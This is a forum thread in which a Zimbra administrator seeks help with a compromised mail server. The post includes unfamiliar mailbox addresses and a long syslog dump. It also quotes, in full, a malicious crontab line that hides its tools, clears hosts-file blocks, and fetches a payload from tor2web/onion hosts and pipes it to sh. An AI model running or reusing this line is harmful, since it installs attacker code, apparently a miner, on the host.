@scottalanmiller said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:

nding the compromise. It could be anywhere.

yah better install free zimbra restore the backup...

yes this is the entry...

/11 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to [email protected]" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.|timesync.su|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
~
~

ok shud i re-install... i have a backup

@scottalanmiller yes scott

yes its update...i had same issue last time i found some scripts in tmp
i just modified inside that and it stopped for somtime..now again its started..

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
13921 zimbra    20   0  354748  11156    720 S **299**.6  0.1   4:13.99 /tmp/.cache/.kthrotlds

any idea where excatly this is running i tried delete tmp folder
still crontab entry keeps getting created automatically
where excatly its excuting ..please help

@dbeato yes i guess... almost all emails backup are corrupted
few email ids had configured locally ..they are safe...

@nagendra said in zimbra 8.6 memcached is not running:

[email protected]

[email protected]
[email protected]
[email protected]
[email protected]

this email id does not exists i never created them...

Jul 8 08:58:14 mail systemd-logind: New seat seat0.
Jul 8 08:58:14 mail systemd-logind: Watching system buttons on /dev/input/event0 (Power Button)
Jul 8 08:58:19 mail su: (to zimbra) root on none
Jul 8 08:58:20 mail zimbramon[978]: 978:info: Starting services initiated by zmcontrol
Jul 8 08:58:20 mail slapd[1247]: @(#) $OpenLDAP: slapd 2.4.39 (Dec 2 2014 21:25:18) $#012#[email protected]:/home/build/p4/zimbra/JUDASPRIEST-860/ThirdParty/openldap/openldap-2.4.39.2z/servers/slapd
Jul 8 08:58:20 mail slapd[1248]: slapd starting
Jul 8 08:58:23 mail systemd-logind: New session 1 of user root.
Jul 8 08:58:25 mail zimbramon[978]: 978:info: Starting zmconfigd via zmcontrol
Jul 8 08:58:30 mail zmconfigd[1297]: zmconfigd started on mail.hulastudios.co.in with loglevel=3 pid=1297
Jul 8 08:58:30 mail zmconfigd[1297]: Fetching All configs
Jul 8 08:58:30 mail zmconfigd[1297]: All configs fetched in 0.18 seconds
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/freshclam.conf with mode 600 (0.02 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/opendkim.conf with mode 440 (0.01 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/service/WEB-INF/web.xml with mode 440 (0.07 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbraAdmin/WEB-INF/jetty-env.xml with mode 440 (0.01 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/dspam.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/jetty-env.xml with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/clamd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbraAdmin/WEB-INF/web.xml with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/spnego.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml with mode 440 (0.03 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/cbpolicyd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/jetty.xml with mode 440 (0.06 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/spnego_java_options with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/sasl2/smtpd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/spnego.properties with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/postfix_header_checks with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/master.cf with mode 440 (0.04 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/opendkim-localnets.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/krb5.ini with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/stats.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/saslauthd.conf with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/tag_as_originating.re with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/log4j.properties with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/amavisd.conf with mode 440 (0.04 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimlet/WEB-INF/web.xml with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/modules/setuid.mod with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/tag_as_foreign.re with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/data/spamassassin/localrules/salocal.cf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/mta_milter_options with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/start.d/setuid.ini with mode 440 (0.01 sec)
Jul 8 08:58:32 mail zmconfigd[1297]: All rewrite threads completed in 1.66 sec
Jul 8 08:58:32 mail zmconfigd[1297]: All restarts completed in 0.00 sec
Jul 8 08:58:32 mail zimbramon[978]: 978:info: Starting logger via zmcontrol
Jul 8 08:58:35 mail zimbramon[978]: 978:info: Starting mailbox via zmcontrol
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: stale pid 2307 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: no manager process is running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: start requested
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: checking if another instance of manager is already running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: stale pid 2307 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2315]: wrote manager pid 2315 to /opt/zimbra/log/zmmailboxd_manager.pid
Jul 8 08:58:37 mail zmmailboxdmgr[2315]: manager started mailboxd/JVM with pid 2316
Jul 8 08:58:37 mail zmmailboxdmgr[2316]: wrote java pid 2316 to /opt/zimbra/log/zmmailboxd_java.pid
Jul 8 08:58:44 mail zimbramon[978]: 978:info: Starting memcached via zmcontrol
Jul 8 08:58:45 mail zimbramon[978]: 978:info: Starting proxy via zmcontrol
Jul 8 08:58:45 mail zimbramon[978]: 978:info: Starting amavis via zmcontrol
Jul 8 08:58:45 mail amavis-mc[2559]: amavis master process starting. daemonized as PID [2559], perl 5.016003
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2563] started: /opt/zimbra/amavisd/sbin/amavis-services msg-forwarder
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2564] started: /opt/zimbra/amavisd/sbin/amavis-services childproc-minder
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2565] started: /opt/zimbra/amavisd/sbin/amavis-services snmp-responder
Jul 8 08:58:45 mail amavis-services[2564]: amavis-services-2.9.0 (20140506) task 'childproc-minder' [2564] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:45 mail amavis-services[2563]: amavis-services-2.9.0 (20140506) task 'msg-forwarder' [2563] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:45 mail amavis-services[2565]: amavis-services-2.9.0 (20140506) task 'snmp-responder' [2565] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:46 mail amavis-services[2564]: childproc_minder: FLUSH process states
Jul 8 08:58:46 mail amavis[2570]: starting. /opt/zimbra/amavisd/sbin/amavisd at mail.hulastudios.co.in amavisd-new-2.9.0 (20140509), Unicode aware, LC_ALL="C", LANG="C"
Jul 8 08:58:46 mail amavis[2570]: perl=5.016003, user=997, EUID: 997 (997); group=, EGID: 995 4 5 89 995 (995 4 5 89 995)
Jul 8 08:58:46 mail amavis-services[2565]: snmp_responder: FLUSH snmp data
Jul 8 08:58:46 mail amavis-services[2564]: childproc_minder: FLUSH process states
Jul 8 08:58:47 mail amavis[2570]: SpamControl: init_pre_chroot on SpamAssassin done
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Process Backgrounded
Jul 8 08:58:47 mail amavis[2591]: Net::Server: 2019/07/08-08:58:47 Amavis (type Net::Server::PreForkSimple) starting! pid(2591)
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to UNIX socket file "/opt/zimbra/data/amavisd/amavisd.sock"
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10024 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10024 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10026 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10026 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10032 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10032 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Group Not Defined. Defaulting to EGID '995 4 5 89 995'
Jul 8 08:58:47 mail amavis[2591]: Net::Server: User Not Defined. Defaulting to EUID '997'
Jul 8 08:58:47 mail amavis[2591]: Module Amavis::Conf 2.320
Jul 8 08:58:47 mail amavis[2591]: Module Archive::Zip 1.37
Jul 8 08:58:47 mail amavis[2591]: Module Compress::Raw::Zlib 2.065
Jul 8 08:58:47 mail amavis[2591]: Module Compress::Zlib 2.064
Jul 8 08:58:47 mail amavis[2591]: Module Crypt::OpenSSL::RSA 0.27
Jul 8 08:58:47 mail amavis[2591]: Module DB_File 1.831
Jul 8 08:58:47 mail amavis[2591]: Module Digest::MD5 2.52
Jul 8 08:58:47 mail amavis[2591]: Module Digest::SHA 5.86
Jul 8 08:58:47 mail amavis[2591]: Module Encode 2.51
Jul 8 08:58:47 mail amavis[2591]: Module File::Temp 0.2304
Jul 8 08:58:47 mail amavis[2591]: Module IO::Socket::INET6 2.72
Jul 8 08:58:47 mail amavis[2591]: Module IO::Socket::IP 0.28
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Entity 5.505
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Parser 5.505
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Tools 5.505
Jul 8 08:58:47 mail amavis[2591]: Module Mail::DKIM::Signer 0.4
Jul 8 08:58:47 mail amavis[2591]: Module Mail::DKIM::Verifier 0.4
Jul 8 08:58:47 mail amavis[2591]: Module Mail::Header 2.13
Jul 8 08:58:47 mail amavis[2591]: Module Mail::Internet 2.13
Jul 8 08:58:47 mail amavis[2591]: Module Mail::SPF v2.009
Jul 8 08:58:47 mail amavis[2591]: Module Mail::SpamAssassin 3.004000
Jul 8 08:58:47 mail amavis[2591]: Module Net::DNS 0.74
Jul 8 08:58:47 mail amavis[2591]: Module Net::LDAP 0.61
Jul 8 08:58:47 mail amavis[2591]: Module Net::Server 2.007
Jul 8 08:58:47 mail amavis[2591]: Module NetAddr::IP 4.072
Jul 8 08:58:47 mail amavis[2591]: Module Scalar::Util 1.38
Jul 8 08:58:47 mail amavis[2591]: Module Socket 2.013
Jul 8 08:58:47 mail amavis[2591]: Module Socket6 0.25
Jul 8 08:58:47 mail amavis[2591]: Module Time::HiRes 1.9726
Jul 8 08:58:47 mail amavis[2591]: Module URI 1.60
Jul 8 08:58:47 mail amavis[2591]: Module Unix::Getrusage 0.03
Jul 8 08:58:47 mail amavis[2591]: Module Unix::Syslog 1.1
Jul 8 08:58:47 mail amavis[2591]: Module ZMQ::LibZMQ3 1.13
Jul 8 08:58:47 mail amavis[2591]: Amavis::ZMQ code loaded
Jul 8 08:58:47 mail amavis[2591]: Amavis::DB code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL base code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL::Log code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL::Quarantine NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Lookup::SQL code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Lookup::LDAP code loaded
Jul 8 08:58:47 mail amavis[2591]: AM.PDP-in proto code loaded
Jul 8 08:58:47 mail amavis[2591]: SMTP-in proto code loaded
Jul 8 08:58:47 mail amavis[2591]: Courier proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SMTP-out proto code loaded
Jul 8 08:58:47 mail amavis[2591]: Pipe-out proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: BSMTP-out proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Local-out proto code loaded
Jul 8 08:58:47 mail amavis[2591]: OS_Fingerprint code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-VIRUS code loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM code loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-EXT code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-C code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-SA code loaded
Jul 8 08:58:47 mail amavis[2591]: Unpackers code loaded
Jul 8 08:58:47 mail amavis[2591]: DKIM code loaded
Jul 8 08:58:47 mail amavis[2591]: Tools code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Found $file at /usr/bin/file
Jul 8 08:58:47 mail amavis[2591]: No $altermime, not using it
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .mail
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .asc
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .uue
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .hqx
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .ync
Jul 8 08:58:47 mail amavis[2591]: No ext program for .F, tried: unfreeze, freeze -d, melt, fcat
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .Z at /usr/bin/gzip -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .gz at /usr/bin/gzip -d
Jul 8 08:58:47 mail amavis[2591]: No ext program for .bz2, tried: bzip2 -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .xz at /usr/bin/xzdec
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .lzma at /usr/bin/xz -dc --format=lzma
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lrz, tried: lrzip -q -k -d -o -, lrzcat -q -k
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lzo, tried: lzop -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .rpm at /usr/bin/rpm2cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .cpio at /usr/bin/cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .tar at /usr/bin/cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .deb at /usr/bin/ar
Jul 8 08:58:47 mail amavis[2591]: No ext program for .rar, tried: unrar, rar
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arj, tried: unarj, arj
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arc, tried: nomarch, arc
Jul 8 08:58:47 mail amavis[2591]: No ext program for .zoo, tried: zoo, unzoo
Jul 8 08:58:47 mail amavis[2591]: No ext program for .doc, tried: ripole
Jul 8 08:58:47 mail amavis[2591]: No ext program for .cab, tried: cabextract
Jul 8 08:58:47 mail amavis[2591]: No ext program for .tnef, tried: tnef
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .tnef
Jul 8 08:58:47 mail amavis[2591]: No ext program for .zip, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .kmz, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .zip
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .kmz
Jul 8 08:58:47 mail amavis[2591]: No ext program for .7z, tried: 7zr, 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .7z, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .bz2, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .jar, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arj, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .rar, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .swf, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lha, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .iso, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .cab, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .exe, tried: unrar, rar; lha; unarj, arj
Jul 8 08:58:47 mail amavis[2591]: No decoder for .7z
Jul 8 08:58:47 mail amavis[2591]: No decoder for .F
Jul 8 08:58:47 mail amavis[2591]: No decoder for .arc
Jul 8 08:58:47 mail amavis[2591]: No decoder for .arj
Jul 8 08:58:47 mail amavis[2591]: No decoder for .bz2
Jul 8 08:58:47 mail amavis[2591]: No decoder for .cab
Jul 8 08:58:47 mail amavis[2591]: No decoder for .doc
Jul 8 08:58:47 mail amavis[2591]: No decoder for .exe
Jul 8 08:58:47 mail amavis[2591]: No decoder for .iso
Jul 8 08:58:47 mail amavis[2591]: No decoder for .jar
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lha
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lrz
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lzo
Jul 8 08:58:47 mail amavis[2591]: No decoder for .rar
Jul 8 08:58:47 mail amavis[2591]: No decoder for .swf
Jul 8 08:58:47 mail amavis[2591]: No decoder for .zoo
Jul 8 08:58:47 mail amavis[2591]: Using primary internal av scanner code for ClamAV-clamd
Jul 8 08:58:47 mail amavis[2591]: initializing Mail::SpamAssassin (0)
Jul 8 08:58:47 mail zimbramon[978]: 978:info: Starting antispam via zmcontrol
Jul 8 08:58:47 mail zimbramon[978]: 978:info: Starting antivirus via zmcontrol
Jul 8 08:58:47 mail clamd[2733]: clamd daemon 0.98.4 (OS: linux-gnu, ARCH: x86_64, CPU: x86_64)
Jul 8 08:58:47 mail clamd[2733]: Log file size limited to 20971520 bytes.
Jul 8 08:58:47 mail clamd[2733]: Reading databases from /opt/zimbra/data/clamav/db
Jul 8 08:58:47 mail clamd[2733]: Not loading PUA signatures.
Jul 8 08:58:47 mail clamd[2733]: Bytecode: Security mode set to "TrustSigned".
Jul 8 08:58:52 mail amavis[2591]: SpamControl: init_pre_fork on SpamAssassin done
Jul 8 08:58:52 mail amavis[2591]: extra modules loaded after daemonizing/chrooting: /opt/zimbra/zimbramon/lib/Net/libnet.cfg, Mail/SpamAssassin/Plugin/FreeMail.pm, Mail/SpamAssassin/Plugin/SpamCop.pm, Net/Cmd.pm, Net/Config.pm, Net/SMTP.pm
Jul 8 08:58:55 mail clamd[2733]: Loaded 4566341 signatures.
Jul 8 08:58:56 mail clamd[2733]: TCP: Bound to address localhost on port 3310
Jul 8 08:58:56 mail clamd[2733]: TCP: Setting connection queue length to 200
Jul 8 08:58:56 mail clamd[2733]: LOCAL: Unix socket file /opt/zimbra/data/clamav/clamav.sock
Jul 8 08:58:56 mail clamd[2733]: LOCAL: Setting connection queue length to 200
Jul 8 08:58:56 mail clamd[2767]: Limits: Global size limit set to 52428800 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: File size limit set to 52428800 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: Recursion level limit set to 16.
Jul 8 08:58:56 mail clamd[2767]: Limits: Files limit set to 10000.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxEmbeddedPE limit set to 10485760 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxHTMLNormalize limit set to 10485760 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxHTMLNoTags limit set to 2097152 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxScriptNormalize limit set to 5242880 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxZipTypeRcg limit set to 1048576 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxPartitions limit set to 50.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxIconsPE limit set to 100.
Jul 8 08:58:56 mail clamd[2767]: Archive support enabled.
Jul 8 08:58:56 mail clamd[2767]: Algorithmic detection enabled.
Jul 8 08:58:56 mail clamd[2767]: Portable Executable support enabled.
Jul 8 08:58:56 mail clamd[2767]: ELF support enabled.
Jul 8 08:58:56 mail clamd[2767]: Mail files support enabled.
Jul 8 08:58:56 mail clamd[2767]: OLE2 support enabled.
Jul 8 08:58:56 mail clamd[2767]: PDF support enabled.
Jul 8 08:58:56 mail clamd[2767]: SWF support enabled.
Jul 8 08:58:56 mail clamd[2767]: HTML support enabled.
Jul 8 08:58:56 mail clamd[2767]: Self checking every 600 seconds.
Jul 8 08:58:57 mail zimbramon[978]: 978:info: Starting opendkim via zmcontrol
Jul 8 08:58:57 mail opendkim[2796]: OpenDKIM Filter v2.9.2 starting (args: -x /opt/zimbra/conf/opendkim.conf -u zimbra)
Jul 8 08:58:59 mail zimbramon[978]: 978:info: Starting cbpolicyd via zmcontrol
Jul 8 08:59:00 mail zimbramon[978]: 978:info: Starting snmp via zmcontrol
Jul 8 08:59:01 mail zimbramon[978]: 978:info: Starting spell via zmcontrol
Jul 8 08:59:01 mail zimbramon[978]: 978:info: Starting mta via zmcontrol
Jul 8 08:59:01 mail saslauthd[2954]: detach_tty : master pid is: 2954
Jul 8 08:59:01 mail saslauthd[2954]: ipc_init : listening on socket: /opt/zimbra/data/sasl2/state/mux
Jul 8 08:59:02 mail /postfix-script[3091]: starting the Postfix mail system
Jul 8 08:59:02 mail postfix/master[3093]: daemon started -- version 2.11.1, configuration /opt/zimbra/postfix-2.11.1.2z/conf
Jul 8 08:59:02 mail zimbramon[978]: 978:info: Starting stats via zmcontrol
Jul 8 08:59:02 mail zimbramon[978]: 978:info: Starting service via zmcontrol
Jul 8 08:59:04 mail zmmailboxdmgr[2315]: manager woke up from wait on mailboxd/JVM with pid 2316
Jul 8 08:59:04 mail zmmailboxdmgr[2315]: manager started mailboxd/JVM with pid 3694
Jul 8 08:59:04 mail zmmailboxdmgr[3694]: wrote java pid 3694 to /opt/zimbra/log/zmmailboxd_java.pid
Jul 8 08:59:04 mail zimbramon[978]: 978:info: Starting zimbra via zmcontrol
Jul 8 08:59:04 mail zimbramon[978]: 978:info: Starting zimbraAdmin via zmcontrol
Jul 8 08:59:05 mail zimbramon[978]: 978:info: Starting zimlet via zmcontrol
Jul 8 08:59:14 mail systemd-logind: New session 4 of user root.
Jul 8 08:59:21 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 08:59:21 mail su: (to zimbra) root on pts/0
Jul 8 08:59:34 mail systemd-logind: New session 5 of user zimbra.
Jul 8 08:59:34 mail systemd-logind: New session 6 of user zimbra.
Jul 8 08:59:37 mail systemd-logind: Removed session 6.
Jul 8 08:59:38 mail systemd-logind: Removed session 5.
Jul 8 08:59:39 mail systemd-logind: New session 7 of user zimbra.
Jul 8 08:59:44 mail systemd-logind: Removed session 7.
Jul 8 08:59:44 mail systemd-logind: New session 8 of user zimbra.
Jul 8 08:59:47 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 08:59:49 mail systemd-logind: Removed session 8.
Jul 8 08:59:49 mail systemd-logind: New session 9 of user zimbra.
Jul 8 08:59:54 mail systemd-logind: Removed session 9.
Jul 8 08:59:54 mail systemd-logind: New session 10 of user zimbra.
Jul 8 08:59:54 mail systemd-logind: New session 11 of user zimbra.
Jul 8 08:59:56 mail systemd-logind: Removed session 11.
Jul 8 08:59:57 mail systemd-logind: Removed session 10.
Jul 8 08:59:58 mail slapd[1248]: slap_queue_csn: queing 0x7f772a22c1b0 20190708085958.528653Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_graduate_commit_csn: removing 0x5fbb800 20190708085958.528653Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_queue_csn: queing 0x7f772aa2d1b0 20190708085958.560511Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_graduate_commit_csn: removing 0x5fbb020 20190708085958.560511Z#000000#000#000000
Jul 8 09:00:03 mail zmmailboxdmgr[2315]: manager woke up from wait on mailboxd/JVM with pid 3694
Jul 8 09:00:03 mail zmmailboxdmgr[2315]: mailboxd/JVM exited twice in 59 seconds (tolerance=60)
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: assuming no other instance is running
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: assuming no other instance is running
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: no manager process is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: assuming no other instance is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: assuming no other instance is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: assuming no other instance is running
